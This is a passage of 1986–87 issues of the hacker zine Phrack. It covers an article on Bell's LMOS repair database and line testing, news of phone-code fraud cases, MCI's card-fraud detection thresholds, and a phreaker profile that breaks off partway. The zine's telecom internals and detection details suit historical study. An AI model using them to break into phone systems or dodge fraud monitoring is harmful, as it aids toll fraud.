There are a number of ways to expand a freeze‑frame video system's capabilities. One enhancement is telewriting. With a "pen" connected to a telewriting device, users can point out a portion of a freeze‑frame video image, overlaying lines and markings in various colors that are displayed at all locations as they are drawn. Some telewriting devices include stored geometric shapes, logos, and symbols that can be transmitted as overlays to a freeze‑frame image. Zoom capability enables close‑up analysis of portions of a display.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Personal Computers and Desktop Videoconferencing

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Personal computers are beginning to be increasingly used with freeze‑frame videoconferencing. PCs are used for control, for the creation of graphics, and for storage and retrieval of graphics material. There are signs that this evolution towards desktop videoconferencing has already begun.

The MINX (Multimedia Information Network Exchange) work station, recently announced by Datapoint Corporation, combines a camera and speakerphone with a high‑resolution‑color video graphics display screen.

The MINX can be configured with Datapoint's Vista‑PC or with the IBM PC, AT, or XT, in which case the PC monitor is replaced by the MINX. A mode key on the workstation permits the user to shift between the video communications mode and the normal PC mode.

Another indication of this revolution is provided by Northern Telecom (creators of DMS‑100, 200, & 250), which recently added Meeting Communications Services (MCS) to its Meridian DV‑1 voice/data system. This option allows up to 24 participants to conduct simultaneous audio communication and up to eight participants to view, modify, and exchange data using Meridian M4000 integrated terminals.

A third and final example is the Luma phone from Luma Telecom. This device, which uses regular phone lines, combines audio with black‑and‑white freeze‑frame video on a three‑inch‑diagonal screen. Strictly a telephone product, the Luma phone has no computer features and will not transmit data. For more information on the Luma phone, please see the November, 1986 issue of The Sharper Image catalog.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Videoconferencing is the way of the future and its only drawback is that of economic cost. Increased use of videoconferencing will depend a lot on the adoption of the Integrated Services Digital Network (ISDN), a standard, all‑digital communications service promised by the regional Bell Operating Companies (BOCs).

ISDN will offer users 144 Kbs or more which can be allocated among various communications tasks‑‑data, voice, or video‑‑in whatever proportion is necessary. This means that the available bandwidth could support simultaneous audio and video communication.

________________________________________

References:

‑‑‑‑‑‑‑‑‑‑

"Electronic Meetings: Substitutes With Substance?," by Sam Dickey, Today's Office, July 1986.

"Getting The Full Picture On Corporate Videoconferencing," by Marita Thomas, Facilities Design & Management, June 1986.

"The Lid Is Off ISDN," Tomorrow's Communication Connection, April 1986.

"Videoconferencing; An Alternative Solution," Corporate Informations Systems, General Electric (GE).

________________________________________

Onto the next generation... ‑‑KL

Loop Maintenance Operations System

==Phrack Inc.==

Volume One, Issue Nine, Phile #9 of 10

Loop Maintenance Operations System

Written by Phantom Phreaker and Doom Prophet

Part I: A basic overview of LMOS

Part II:Mechanized Loop Testing

Loop Maintenance and Operations System (LMOS) is a telephone company database that is a vital part in the act of repairing local loops (a customers telephone line). When you call the Repair Service to have your telephone service repaired, the information you give, as well as information and history on your local loop is processed through the LMOS database. This file shall examine several of the parts of LMOS, which is used by a number of different bureaus. The bureau that you reach when you dial your repair service is called the Centralized Repair Service Answering Bureau (CRSAB), and is usually reached by dialing (1)+611 or sometimes a POTS (Plain Old Telephone Service) number in areas where the X11 services aren't available. A CRSAB attendant is who you will deal with when reporting line trouble. You will tell the attendant the line number, and the types of problems you are experiencing on that line. The attendant will file a report concerning the basic information vital to line repair. Something called 'Front End Processors' form a 'real‑time' interface between the customer reporting the trouble, and the CRSAB attendant. 'Real‑Time ' means that it is done on a continually changing basis, (ex. while the customer is reporting the trouble to an attendant, action is being taken.)

When a customer makes a trouble report to the CRSAB, the report is filed and sent through the Cross Front End, which is a link from the CRSAB to the LMOS system network. The trouble report is sent along a data link to the Front End, where a BOR (Basic Output Report) is requested. BOR's include line record information such as past trouble history and numerical values of MLT system tests. MLT is Mechanized Loop Testing. As LMOS is responsible for trouble reports, past trouble analysis, and other data related functions, MLT, which is connected to LMOS through a minicomputer in the Repair Service Bureau known as the MLT Controller, does the actual testing of subscriber loops. MLT hardware is located in the Repair Service Bureau. This hardware is linked to the LMOS system by way of an LMOS minicomputer, which may be in a remote location or with the LMOS central processor. Test trunks connect MLT hardware to the Wire Centers, which in turn connect with the subscriber loops.

The Databases of LMOS are connected via a high speed data link. The major divisions of data handled by LMOS are listed below.

Past Trouble History‑ This information is contained within the Abbreviated Trouble History (ATH) database and holds the most recent 40 days of history.

The Trouble History (TH) database contains histories of troubles for the day. This TH database is used to support TREAT (Trouble Report Evaluation and Analysis Tool) reports.

Line Record‑ These bases contain info about the customer's telephone circuit, whether it is POTS (for which there is a separate database), or SS (Special Service). Special Services numbers can be up to 16 characters plus the NPA or area code. The LMOS definition of an SS is any circuit having an identifier that is other than 10 digit numeric with NPA.

Also, the Cable (CA), Associated Number (AN), Telephone Answering service (TAS), and Central Office Equipment (COE) data bases contain line record information as well.

Miniline Record‑ There is one Miniline Record database for each Front End transaction processor. An example explaining this would be: A customer makes a trouble report to the CRSAB. The data sent through the Cross Front end to the Front End database, where a BOR is requested, is recorded and applied as status by the Miniline Record database to the Front End base. This helps to keep the LMOS Master Database in conjunction with the Front End bases.

Service Order History‑ This base contains a list of all lines changed during the day. The list is used for construction of Miniline Records to be sent to the front ends.

While there are many other databases within the LMOS system which serve a variety of functions, the bases listed above are the major ones.

The telephone network is divided into two major pieces, the loop portion, or the line from a Central Office to the customer premises; and the Toll portion. This is the network that connects long distance offices such as the Toll center and Primary center, and is also known as the Direct Distance Dialing or DDD network. The LMOS database is customer and loop oriented. The loop portion of the network is frequently altered and changed, as it is the customer's link with the DDD network. These changes are tracked by LMOS. This type of activity falls into two categories: Customer initiated service requests (when a customer makes a request or trouble report), and Bell Operating Company initiated plant changes.

'Plant' is the Outside Plant of cable which makes up the local loop. A Customer initiated service request is for installation of new lines for the customer. The Universal Service Order or USO is the record of all these types of requests. USO's contain information such as customer listing, billing section, service and equipment section, and the Assignment section, which identifies the Central Office and outside plant (cable) facilities or lines.

A BOC initiated plant change is called a work or job order. This is when the BOC serving the area make additions and rearrangements to loops to meet customer requirements for service. Examples of work orders include the following:

Cable Throw‑This order is when a cable pair is added to assist an existing cable in a high‑growth area. This involves a change to the customer's cable and pair number. Cable Throw Summaries are printouts from this type of work order.

Area Transfer‑This order is used when Wire Centers, or the point where customer cable pairs branch out from, have to be balanced to compensate for growth, as there will be a need for more subscriber loops. This often involves the change of a customer's number.

Service Orders pass through a BOC interface program to add RSB identifiers, which are repair unit numbers, needed by LMOS to translate data to a USO format.

The Automatic Line Record Update (ALRU) system is a system that updates the data bases of LMOS in response to a service order.

Work Orders can either involve a bulk task such as a large cable throw of 400 pairs from cable 102 to cable 109, which would use a special bulk‑oriented program in the Work Order process, or smaller tasks concerning a few cables, which would use the Enter Cable Change or ECC transaction.

Below is a summary of the Service Order flow through LMOS.

1: The customer requests new or changed telephone service for their line.

2: The request is entered into the BOC's service order network to be 'worked'.

3: A request is made to assign facilities necessary to install or modify the customer service.

4: Facilities are assigned and information is sent to the service order network.

5: The service order network forwards information to do work to the installer, or the RSB person who does the actual repair or modification on the line.

6: Installer completes work, returns notice to service order distribution network that service order has been completed.

7: Completed service order goes to the BOC interface program to perform data transactions for standard ALRU input.

8: A day's worth of service orders are accumulated and read into the ALRU.

9: Automatic Line Record Update automatically updates the LMOS host database.

Next is a summary of the Work Order flow (for BOC initialized plant changes).

1: The Distribution Service Design Center forwards requests for loop facility additions or rearrangements to the Construction Maintenance Center to be worked.

2: If the request for work involves existing facilities (ones that are already there), facility assignment information is requested.

3: Facilities assigned to the Work Order are forwarded to the Construction Maintenance Center.

4: The Construction craft (installers) receives the work instructions.

5: Work is completed and notices are sent to the CMC.

6: A paper record of the completed work order is distributed to LMOS.

When service order and work order activities are combined, an estimated 20 megabytes of data in the LMOS host data base is modified in some way every working day.

Part II‑MLT

The basics of LMOS have been covered in part I. Part II will take a closer look at the Mechanized Loop Testing process and its relation with LMOS.

As mentioned previously, the equipment for the MLT system is located in or near the Central Office or End Office in which the customer loops terminate. The MLT equipment (being a third generation of automated testing system) is connected by test trunks through the switching system to customer loops. The MLT controller located in the Repair Service Bureau enables tests to be made on up to 12 local loops simultaneously, sets up the testing sequence, and controls the connection of test equipment to the loops. To make the appropriate tests, information in the LMOS data base(s) about the customer loop and station equipment is transmitted to the MLT controller when the test request is initiated. This information controls certain phases of each test and is used to analyze and decipher test results.

On command from the MLT controller, which will now be referred to as simply 'the Controller', the MLT system dials the number to be tested. If the line is busy, the cause is automatically determined (a conversation, phone off‑hook, or a fault), and further tests are not made until the line is free. If the line is idle, the MLT system proceeds to make tests for purposes of maintenance and detection of faults in the loop.

MLT test specifics

* AC and DC (Alternating Current and Direct Current) measurements to determine if the loop is proper for the customer's station equipment, to determine the type and the extent of any electrical leakage through cable insulation, and to detect broken cable pairs and the location of the break in terms of distance from the CO where MLT is being used.

* A 'Soak Test' to see if leakage will disappear after a high voltage is applied from the Central Office battery. The voltage dries up moisture, which is a frequent cause of leakage.

* A Balance Check to reveal how susceptible the loop is to noise causing voltage, which would impair conversation over the line.

* A measurement to tell whether CO battery voltage (voltage drops when the phone goes to an off‑hook condition) and dial tone can be placed on the loop.

All MLT test measurements are converted by the MLT hardware to digital form and returned to the Controller for analysis. The analysis is based on the test results and the line‑record info from LMOS.

Here is an example of how the Automated Repair Service Bureau (ARSB) works with the repair service attendants. A customer can't get a dial tone, so he calls the repair service from a neighbor's phone. An attendant who answers the call types the customer's phone number into a computer terminal. In response to this, LMOS displays the customer's name, address, class of service (in this case, it would be residential service), and information about any recent trouble on that loop. At the same time, LMOS causes the MLT system to test the loop. The CRSAB Attendant types in a description of the reported trouble. The MLT system returns the results of the tests on the line within a few seconds. Say, for example, the fault in question was a cable fault. This information would be displayed on the screen. The attendant would tell the customer that a visit is not needed, and that line will be repaired by a certain time. The data on the screen is automatically added to the LMOS database. A BOR is printed in the RSB serving the customer, and is screened to decide if it should be given to a dispatcher or a tester. The content of a BOR is explained in part one, and a diagram of a BOR is included below.

**** BASIC OUTPUT REPORT ***** PAGE‑ 01 UNIT‑99900000 10‑08‑86 0300P TTN‑0000110

TN‑999 5557009 CAT‑CD

SC‑1FR CS‑RES PUB CPE‑NO SWC‑ WKNG ‑0SMITH, JOHN

1000 NOWHERE LN.

‑‑RMKR‑‑

‑‑TRBL‑‑NDT‑CCO‑CBC‑ALL CALLS

‑‑RCH‑‑ REACH NBR‑

COMM‑10‑09‑86 0700P VER‑4 CALLED NBR‑ OVERSTATUS‑PS 10‑09‑77 0400P

‑‑STATUS NAR‑‑

SO DATE 03‑27‑85 SO# N0901

‑‑S/E‑‑

QTY‑0001 USOC‑1FRBC KS‑0000 LTD‑ REF‑

‑‑ASGM‑‑

OE‑000B‑010‑09 VT‑0146 RT‑0500 NSTA‑0001 BRG‑N NSV‑N WC‑999 F1 NPA‑999 CA‑ TT101 PR‑109 PRU‑ BP‑10 TEA‑R1304 NOWHERE LN.

‑‑HIST‑‑

NO REPORT SUBS CLEARED TH‑KEY TST RPM O/S } T } D } C } 1 10‑01‑85 205P 0 10‑02‑77 0130P 10‑02‑77 620P 110 111 * }330}320}320} REPLACED INSIDE WIRE

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MLT RESULTS SUMMARY: OPEN OUT, DISTANCE TO OPEN=39,200 FT

OPEN OUT

OPEN TIP

DISTANCE TO OPEN

39,200 FT (FROM C.O.)

VALID DC RESISTANCE AND VOLT

VALID LINE CKT CONFIGURATION

CAN DRAW AND BREAK DIAL TONE

CONTL‑01 LTF‑01 PORT‑09 TRUNK‑123 EQU‑TPK000 BYD007 DLR002 FRONT‑END PROCESSING DATE AND TIME 10‑08‑76 0300P

370 PROCESSING DATE AND TIME 10‑08‑86 0302P

***END OF DATA***

This BOR tells that the trouble is an open tip wire 39,200 feet from the Central Office.

The first part of the BOR up to the ‑‑RMKR‑‑ is the basic information section. The second part, from ‑‑TRBL‑‑ to SO DATE is the trouble section. The next part, from ‑‑S/E‑‑ to TEA‑R1304 is the assignment section. The fourth part, from ‑‑HIST‑‑ up to REPLACED INSIDE WIRE is the Abbreviated Trouble History section. The last part is the MLT test results section.

When a repair looks as if it may not be completed according to schedule, a Jeopardy Report is filed. Then, more repairmen are assigned to insure the line is repaired on time. After the repair is complete, the dispatcher retests the loop using MLT to verify that the trouble has been dealt with. The customer is notified, and the final disposition of trouble is entered into the LMOS database, where it is stored for future use and evaluation. (See also part I.)

If you had to sum up LMOS, it would be best summed up by saying LMOS is 'A customer repair data management system.'

Misc footnotes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Section one: Acronyms

ALRU‑Automatic Line Record Update

AN‑Associated Number

ARSB‑Automated Repair Service Bureau

ATH‑Abbreviated Trouble History

BOC‑Bell Operating Company

BOR‑Basic Output Report

CA‑Cable

COE‑Central Office Equipment

CMC‑Construction Maintenance Center

CRSAB‑Centralized Repair Service Answering Bureau

DDD‑Direct Distance Dialing

ECC‑Enter Cable Change

LMOS‑Loop Maintenance Operations System

MLT‑Mechanized Loop Testing

POTS‑Plain Old Telephone Service

RSB‑Repair Service Bureau

SS‑Special Service

TAS‑Telephone Answering Service

TH‑Trouble History

TREAT‑Trouble Report Evaluation and Analysis Tool

Section two: Automated Testing Systems

MLT is the third generation of Automated Testing Systems. The first generation of testing equipment was something called the Line Status Verifier, which was manually operated, and not nearly as efficient as MLT or the second generation, the Automatic Line Verifier. The first and second generations of automated testing systems were both eventually built up to the MLT third generation type of system.

‑End of file‑

8/19/86

========================================

References and Acknowledgements

========================================

'Automation improves testing and repair of customer loops' ‑ Bell Labs Record 'Automated Repair Service Bureau' ‑ Bell System Technical Journal

And thanks to the following people for supplying other information: The Videosmith, The Marauder, Lock Lifter, Mark Tabas, and anyone else that we might have missed.

Sysops are allowed to use this file as long as nothing is changed. This file was written in 80 columns, upper and lower case.

If you notice any errors in this file please contact one of us and changes

Phrack World News VIII

==Phrack Inc.==

Volume One, Issue Nine, Phile #10 of 10

‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

{‑=*> Phrack World News <*=‑}

*Issue VIII*

Created by Knight Lightning

Written by

Knight Lightning and Sally Ride

‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

Welcome readers to PWN Issue VIII! The last few months have been pretty slow in the area of real news and this issue we feature; Phrack World Reprints. That's right, unfortunately most of the information in this issue is from outside sources. I hope you find it equally as interesting and remember...

No News Is Good News!

________________________________________

TMC Cracks Down August 26, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Byline article by F. Alan Boyce, Associated Press Writer

Raleigh (AP) ‑‑ The use of home computers to pirate long‑distance telephone access codes and credit card numbers is increasing and may warrant more prosecution and tighter security, federal authorities said Tuesday.

U.S. Attorney Sam Currin said five recent indictments for computer fraud stemmed from a six‑month investigation involving home computers and computer bulletin boards in 23 states. By telephoning some computers, people with the proper passwords could get numbers that would let them charge phone calls to unsuspecting victims or make purchases with stolen credit cards.

"One bulletin board contained more than 100 stolen telephone access numbers and 15 stolen credit card numbers," Curri said. "With the use of computers becoming much more prevalent in our society, we're going to see a lot more of this type of activity."

The probe began with Telemarketing Communications (TMC) of Raleigh, where an estimated $100,000 was lost to unauthorized calls in six months. Investigators were aided by an unidentified 16‑year‑old high school student who had been caught by Telemarketing officials after making $2,000 worth of illegal calls, officials said.

"That was a tremendous benefit to us in this investigation," Currin said. "High school kids today are computer‑smart. They know what they're doing." The juvenile was not charged and has made restitution, Currin said.

U.S. Secret Service Agent William Williamson said the youth provided passwords and used his own computer to reach the highest levels of bulletin boards operated by those indicted.

A federal grand jury in Greensboro charged three North Carolina men Monday with illegally possessing charge‑account numbers and telephone long‑distance access codes obtained through home computers.

Robert Edward Lee II of Durham was charged with devising a method for defrauding Telemarketing Communications (TMC). The grand jury also charged Michael William McCann of Dobson with possessing more than 15 unauthorized telephone access codes and account numbers owned by Telemarketing Communications, TransCall America and General Communication Inc. Tyrone Columbus Bullins of Reidsville was charged with possessing 17 unauthorized charge numbers and 15 unauthorized telephone access codes and account numbers.

Ralph Sammie Fig of Knightdale and James Thomas McPhail of Goldsboro were indicted on similar charges by a grand jury in the Eastern District Aug. 19.

Currin said each could face up to 10 years in prison and a $250,000 fine if convicted under tough laws passed in 1984.

"The potential for fraud in this area is very great," he said. "We have an obligation to prosecute violators. Companies themselves, if they're going to stay in business and remain viable, also have an obligation to promote their own internal security systems."

Mike Newkirk of TeleMarketing Communications said it was difficult to protect codes without making systems too hard for the average customer to use.

"There are programs that break codes in security systems such as ours as the computer operator is even sleeping," he said. "It can be randomly broken and he can wake up the next morning and just check the file."

Newkirk said his company was considering installing equipment that could deny telephone access to phones where trouble arises. But he said other alternatives, like having operators answer calls to screen for access codes, would be too expensive.

Williamson, however, said one company that changed from computer answering to operators reported 5,600 callers hung up when asked for proper codes.

Information Provided By Sally Ride:::Space Cadet

________________________________________

Here's a news story out of Vancouver, Washington that shows an unusual twist on the old cat and mouse game we phreaks play with the feds and phone cops. The story should be entitled...

FEDS TRASH HACKER

‑‑‑‑‑‑‑‑‑‑

However, it's really headlined.......

Teen Age Suspect In Local Computer Probe October 10, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

by Thomas Ryll The Columbian

A 15‑year‑old suspected hacker who reportedly used the nickname "Locksmith" is the subject of the first local sheriff's office investigation of alleged use of a computer for illegal long‑distance telephone use.

Clark County deputies seized the teen‑ager's computer, related equipment, and bags of software Tuesday when they acted on a search warrant naming Tony E. Gaylord, 10317 N.W. 16th Ave, a Columbia River High School student.

At one point in the investigation, trash from the Gaylord residence was examined for evidence of telephone numbers that had allegedly had been misused, according to the warrant.

The warrant, signed by District Court Judge Robert Moilanen, states that officials of American Network have discovered illegal long‑distance calls that have cost the company more than $1,700. Items to be seized at the residence were to be evidence of first‑degree theft and second‑degree computer trespass.

No formal charges have been filed. Gaylord who was at school when his computer was seized, was not arrested, said Ronee Pillsbury, the sheriff's office investigator on the case. The county prosecutor's office is reviewing reports, and "we still have quite a bit of work to do on the case," she said.

American Network is a long‑distance telephone service company with offices in Vancouver. Although the firm has prosecuted computer hackers on its own, the sheriff's office has never been involved, Pillsbury said. Despite the fact that federal statutes often are involved, "American Network has not had much cooperation from the federal people, who have had a 'don't‑come‑to‑us' attitude."

The novelty of the case is further indicated by mention of the computer trespass law, a recent state statute that reflects a law enforcement problem that has grown with the proliferation of home computers. With modems and other equipment, unscrupulous users, sometimes called "phreakers," have tampered with computer records, made unauthorized telephone calls, pilfered bank accounts and otherwise misused equipment.

The local case surfaced in October 1985, when an American Network "abuse analyst" examined company "switch reports" that "alerted her to a pattern she associated with computer hacking," according to the search warrant affidavit, which includes a list of telephone numbers all over the country that allegedly were illegally dialed.

Investigation of another hacker led to Gaylord; one day in August, the family's garbage was searched by American Network investigators after Vancouver Sanitary Service workers bagged it and set it aside.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Some notes from Sally Ride:::Space Cadet:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A novel case in many respects! Not only was evidence collected by the phone cops trashing a hacker's garbage, with the cooperation of the garbage company but this is the first case involving the local sheriff's department.

I have discovered the reason no charges have yet been filed in the case is because of an even more unique twist in this tale. American Network, commonly called Amnet and sister company of Savenet, has joined forces with MCI in the prosecution of this case and may bring in our good old friend TMC as well to aid in the persecution of Locksmith.

During an interview with April Brown of American Network Security I was informed the problems for the Locksmith have only just begun. The article mentions $1,700 worth of calls. Well, that was when they first swore out the warrant. Amnet now has identified about $4,000 worth of toll and linked it to our friend Tony. But that's not all. After providing information on the case to MCI an amount tripling the Amnet long distance charges has been connected with this case. The Amnet agent had not received an indication from TMC on the amount they are bringing to the case.

The question I have is why are these companies joining forces for the first time, that I'm aware of, to dump so hard on this one little guy out of this remote neck of the woods? Part of the reason appears to be because Amnet approached Tony's parents in late 1985 about their son's activities and were rudely turned away, according to April Brown.

The other unusual thing about this story is the quote from Amnet about the lack of cooperation received from the federal authorities. Here I thought the feds were hot to trot to nail as many of us as possible. I guess not as hot as Amnet wants them to be.

Typed and editorialized by Sally Ride:::Space Cadet

________________________________________

Football Phreaking? October 1, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MIAMI (UPI) ‑‑ The University of Miami and MCI reached an agreement Wednesday that will keep the long‑distance carrier from pressing charges against Hurricane football players who made long‑distance calls using someone else's access card number.

Miami Athletic Director Sam Jankovich met with officials of MCI Telecommunications Inc. and said that the matter had been resolved. The company had threatened to press legal action.

An investigation by the Miami athletic department and MCI found up to 34 players were involved along with an undetermined number of other students. The Miami Herald said the bill for the calls could have been as high as $28,000.

Many of the calls allegedly were made from New Orleans where the Hurricanes played in the Sugar Bowl New Year's Day. "We had a telephone conversation and visited with MCI officials and another meeting has been set for Friday to go over people who still have a balance," Jankovich said. "MCI has informed me they will not press charges against the student athletes involved. We have 12 players who still owe money. We will sit down with those 12 and develop a payment schedule on Friday."

David Berst, director of enforcement for the NCAA in Mission, Kansas, said he was unsure if the NCAA would investigate the matter.

Just goes to show, if you get caught, claim to be a dumb jock...

Information from +++The Mentor+++

________________________________________

MCI Gets Scammed October 10, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ORLANDO, Fla. (UPI)‑‑Jessica Barnett's phone bill this month was no quick read‑‑it ran 400 pages long and totaled $90,152.40.

"Who could pay a $90,000 phone bill? I'll have to mortgage my house to pay my bill," said the 28‑year‑old housewife, who contacted MCI Telecommunications Corp. in Atlanta shortly after opening the 2‑inch thick bill.

"I called them and said, 'Hi, I've got this high bill.' They asked how much, and when I told them they laughed. They said, 'You've got to be kidding.'"

MCI spokeswoman Laurie Tolleson said computer hackers apparently discovered the Barnett's personal code and used it to make long‑distance calls.

Most of the calls were made to Tennessee, and some lasted nearly two hours, Tolleson said. Others were placed to Georgia, Alabama and Maryland.

"It's like they call continuously 24 hours a day, all day," Barnett said. "I don't see the point in making these calls. If I was going to do something like that, I'd be exotic and call Europe‑‑not Tennessee or Norcross, Ga."

It was not Barnett's first problem with the phone company‑‑she received a $17,000 bill in July. She thought things were straightened out when she did not get a bill last month, but the bill that arrived Monday included $70,000 in past‑due charges. She said she and her husband, Jim, are not taking the mix‑up too seriously. "He kidded that now he knows what I do all day," Barnett said.

"What can you do? It doesn't bother me as long as I don't have to pay it. I feel bad for MCI. I think they're getting ripped off."

Typed by Sally Ride:::Space Cadet

________________________________________

MCI Introduces VAX Mailgate

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

VAX Mailgate is a software product that combines the strengths of Digital Equipment Corp.'s "All‑In‑1" Integrated Office And Automation System with MCI Mail's public electronic mail service for around‑the‑world business communication.

Information From USA Today‑Special MCI Edition

________________________________________

MCI Card Fraud Detection Unit ‑ The Online Security System 11/7/86

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following is a brief description of the new on‑line security system for the MCI Card. The system developed in order to provide real‑time detection of excessive (and therefore potentially fraudulent) card usage. Rather then depending on FREWS reports for their current Early Warning System, they are now able to investigate and arrest card abuse as it occurs, rather than waiting until damage has been done.

A. Detection

In order to detect possible fraud as it occurs, a counting mechanism in the Fraud Detection Unit will be tracking call attempts for every MCI Card authorization code on a continuous basis. Generic parameters based on number of call attempts in a specified period (currently 15 calls in a 25 minute period) are used to identify potential card abuse. As soon as the threshold is reached for any one code, Security and Investigation will be notified, via PC screen, hardcopy, and audible alarm.

B. Verification

Upon notification of a potential problem, Security and Investigations will first pull up the account record to check the Note Screen for anything that may indicate Card abuse (i.e., non‑payment, Card lost, stolen, or never received). They will then try to contact the customer to verify whether the Card is being used legitimately or not. For problems detected after business hours, the customer will be contacted the following morning.

C. Deactivation

If the customer has not been making the calls, or if the account phone number is found to be illegitimate, the code will be deactivated immediately in the Card Authorization Center. If the customer cannot be reached, Security and Investigations will continue to monitor call volumes on the code and will deactivate the code only if the high volumes continue or reappear.

D. Reactivation

Codes deactivated due to fraud can only be reactivated by Security and Investigations.

________________________________________

10

- Introduction to Phrack 10 by Taran King

- Pro-Phile on Dave Starr by Taran King

- The TMC Primer by Cap'n Crax by Cap'n Crax

- A Beginner's Guide to the IBM VM/370 by Elric of Imrryr

- Circuit Switched Digital Capability by The Executioner

- Hacking Primos Part I by Evil Jay

- Automatic Number Identification by Doom Prophet & Phantom Phreaker

- Phrack World News 9 Part I by Knight Lightning

- Phrack World News 9 Part II by Knight Lightning

Introduction to Phrack 10

==Phrack Inc.==

Volume Two, Issue Ten, Phile #1 of 9

1/1/87

Introduction...

~~~~~~~~~

Well, we have made it to this, the start of a new year and the start of a new volume of Phrack Inc. This has taken quite a while to get the long awaited issue out, and it's been procrastinated quite a bit, so I apologize to those that have been patiently waiting. We have purposely waited a bit, but we also are releasing this Phrack approximately at the same time as the Legion of Doom/Hackers Technical Journal, which is another high quality newsletter working with us rather than against us, and I personally recommend the documents as highly informative. I really enjoyed it and hope you continue to support both of us.

If you wish to write for Phrack Inc., merely get in touch with myself, Knight Lightning, Cheap Shades or Beer Wolf or anyone that knows us or is on any of the MSP boards and we shall either get back to you or get in contact with you in some manner. File topics can be either telecommunications or on operating systems or some unique aspect/flaw of security. Be looking forward to more Phrack issues in the near and far future. Later

‑TK

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This issue of Phrack Inc. includes the following:

#1 Introduction to Phrack 10 by Taran King (2.2k)

#2 Pro‑Phile on Dave Starr by Taran King (7.5k)

#3 The TMC Primer by Cap'n Crax (6.1k)

#4 A Beginner's Guide to the IBM VM/370 by Elric of Imrryr (3.5k) #5 Circuit Switched Digital Capability by The Executioner (11.9k) #6 Hacking Primos Part I by Evil Jay (10.9k)

#7 Automatic Number Identification by Phantom Phreaker and Doom Prophet

9.2k)

#8 Phrack World News 9 Part I by Knight Lightning (22.7k)

#9 Phrack World News 9 Part II by Knight Lightning (14.8k)

Pro-Phile on Dave Starr

==Phrack Inc.=

Volume Two, Issue 10, Phile #2 of 9

==Phrack Pro‑Phile 7==

Written and Created by Taran King

12/15/86

Welcome to Phrack Pro‑Phile 7. Phrack Pro‑Phile is created to bring info to you, the users, about old or highly important/controversial people. This month, I bring to you a user from the golden years of hacking and phreaking...

Dave Starr

~~~~ ~

Dave is one of the old phreakers and hackers that accomplished so much through voice phreaking and literal hacking rather than reading others' findings to learn. A master engineer, voice phreaking is one unto itself. Dave has a PhD in B.S.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Personal

~~~~~~~~

Handle: Dave Starr

Call him: Dave Starr

Past handles: Micronet Phantom and Big Brother

Handle origin: Micronet Phantom came from working with The Source computer and Big Brother, of course, came from George Orwell's 1984.

Date of Birth: 5/6/62

Age at current date: 24

Height: 6' 0"

Weight: 170 lbs.

Eye color: Brown

Hair Color: Light Brown

Computers: TRS‑80 (4k version), Apple ][, ][+, ][e Sysop/Co‑Sysop of: Starcom Network

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dave started out on The Source, and stuck with them for 6 to 8 months hacking around the system because the system was so slow security‑wise, and of course, from there, he got involved with hacking Primes. One of the security agents named Paul from Dialcom got in contact with Dave and discussed Dave's hacking on The Source (his system). After talking, they found they had common interests, which included hacking and phreaking. Paul gave Dave his first code to a local dial‑up for Sprint. He also led him in the direction of 8BBS, which brought him to meet the best of the nation's phreakers and hackers at the time, which included Susan Thunder, Roscoe DuPran, and Kevin Mitnick. Susan and Roscoe were strong friends of Dave that he personally met as well as Kevin, but he never met Kevin. He met Susan in the L.A. County Courthouse testifying against her, with Susan and Roscoe using these handles as real names on the charges of harassment. The phreak/hack BBS's that were most memorable for Dave were 8BBS and his own, Starcom Network, which had hidden commands for accessing the phreak section. Starcom Network was a nationally networked system that Dave created and operated. This was a virtual copy of The Source, for which he went to court over. They claimed it was their system, but he supressed them with a threat of publicity. Modem Over Manhattan was another memorable board on a TRS‑80. He attributes his phreak knowledge to Paul from Dialcom and to The Source for his hacking ability as well as Susan Thunder for information on RSTS.

Dave Starr does intelligence and counter‑intelligence work for anyone who has money and who is not against the United States or the views of the United States.

Dave has always operated independently, never being a member of a club or group, and has hand‑picked his partners.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Interests: Telecomputing (phreaking and hacking), movies, a fascination with the match‑making systems (Dial‑Your‑Match type systems), fun, video components.

Dave's Favorite Things

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Women: A quiet evening with the girlfriends (NOTE: Plural). Cars: Mercedes 450‑SL (his girlfriend's).

Foods: Italian.

Music: Anything excluding acid rock/heavy metal. Leisure: Smoking, but he hates cigarettes.

Most Memorable Experiences

